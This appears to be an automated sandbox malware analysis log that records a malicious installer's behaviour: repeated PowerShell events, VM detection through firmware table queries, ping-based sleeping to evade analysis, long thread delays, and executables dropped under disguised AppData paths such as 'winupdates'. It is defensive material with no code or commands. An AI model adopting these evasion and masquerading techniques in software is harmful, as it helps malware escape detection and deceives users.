Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\msiexec.exe

System information queried: FirmwareTableInformation

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2

Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Memory allocated: 11E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Memory allocated: 2F40000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Memory allocated: 1560000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Memory allocated: 60A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Memory allocated: 70A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Memory allocated: 81D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Memory allocated: 91D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Memory allocated: 1B227BA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Memory allocated: 1B2414C0000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Window / User API: threadDelayed 2111
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2603
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7173
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2025
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7734

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC26F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC30F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shi3348.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC28.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\networkbroker.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI12E1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI9F3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC2DF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIF889.tmp	Jump to dropped file

Source: C:\Windows\System32\svchost.exe TID: 7044	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe TID: 5692	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe TID: 5968	Thread sleep count: 2111 > 30
